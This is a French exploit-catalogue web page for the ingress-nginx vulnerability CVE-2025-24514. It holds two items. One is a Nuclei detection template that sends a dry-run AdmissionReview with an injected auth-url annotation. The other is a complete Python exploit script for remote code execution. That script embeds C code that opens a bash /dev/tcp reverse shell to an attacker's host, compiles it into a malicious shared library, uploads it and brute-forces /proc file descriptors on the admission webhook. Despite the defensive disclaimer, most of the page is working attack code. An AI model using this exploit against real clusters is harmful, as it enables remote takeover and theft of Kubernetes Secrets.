Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2025-24514

HIGH

2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei high Vérifié
Source

Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2025-24514 -u https://your-target

Template yaml

id: CVE-2025-24514

info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-url annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
  remediation: |
    Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-url annotation.
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131006
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-24514
    cwe-id: CWE-20
    epss-score: 0.32618
    epss-percentile: 0.98215
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {

            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "annotations": {
        "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "{{randstr}}",
                    "http": {
                      "paths": [
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }

    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'directive is not allowed here'
          - 'load_module'
        condition: and
# digest: 490a004630440220416f5eeb60d34f6632f5769f8389d87254e9ba89bd6fadf148fd8b150f1cff8802205e585702c3189af0caf436cfa83238cd27d1cbc02d40f8a7f8db7d5819a0e9f5:922c64590222798bb761d5b6d8e72950
ExploitDB remote multiple
Source

Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE

Par Beatriz Fresno Naumova

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974

import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>

__attribute__((constructor))
void run_on_load() {
    system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}

int bind(void *e, const char *id) {
    return 1;
}

void ENGINE_load_evil() {}

int bind_engine() {
    return 1;
}
"""

def compile_shared_library(host, port, output_file="evil_engine.so"):
    c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))

    with open("evil_engine.c", "w") as f:
        f.write(c_code)

    print("[*] Compiling malicious shared object...")
    result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")

    if result == 0:
        print("[+] Shared object compiled successfully.")
        return True
    else:
        print("[!] Compilation failed. Is gcc installed?")
        return False


def send_brute_request(admission_url, json_template, proc, fd):
    print(f"[*] Trying /proc/{proc}/fd/{fd}")
    path = f"proc/{proc}/fd/{fd}"
    payload = json_template.replace("REPLACE", path)

    headers = {"Content-Type": "application/json"}
    url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
        print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")


def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
    try:
        with open(json_file, "r") as f:
            json_data = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {json_file} not found.")
        return

    print("[*] Starting brute-force against the admission webhook...")
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, max_proc):
            for fd in range(3, max_fd):
                executor.submit(send_brute_request, admission_url, json_data, proc, fd)


def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
    try:
        with open(shared_object, "rb") as f:
            evil_payload = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {shared_object} not found.")
        return

    parsed = urlparse(ingress_url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"[!] Failed to connect to {host}:{port}: {e}")
        return

    fake_length = len(evil_payload) + 10
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode("iso-8859-1")

    print("[*] Uploading malicious shared object to ingress...")
    sock.sendall(headers + evil_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Server response:\n")
    print(response.decode(errors="ignore"))
    sock.close()


def main():
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
        sys.exit(1)

    ingress_url = sys.argv[1]
    admission_url = sys.argv[2]
    rev_host_port = sys.argv[3]

    if ':' not in rev_host_port:
        print("[!] Invalid format for rev_host:port.")
        sys.exit(1)

    host, port = rev_host_port.split(":")

    if not compile_shared_library(host, port):
        sys.exit(1)

    # Send the malicious shared object and keep the connection open
    upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
    upload_thread.start()

    # Simultaneously brute-force the admission webhook for valid file descriptors
    brute_force_admission(admission_url)


if __name__ == "__main__":
    main()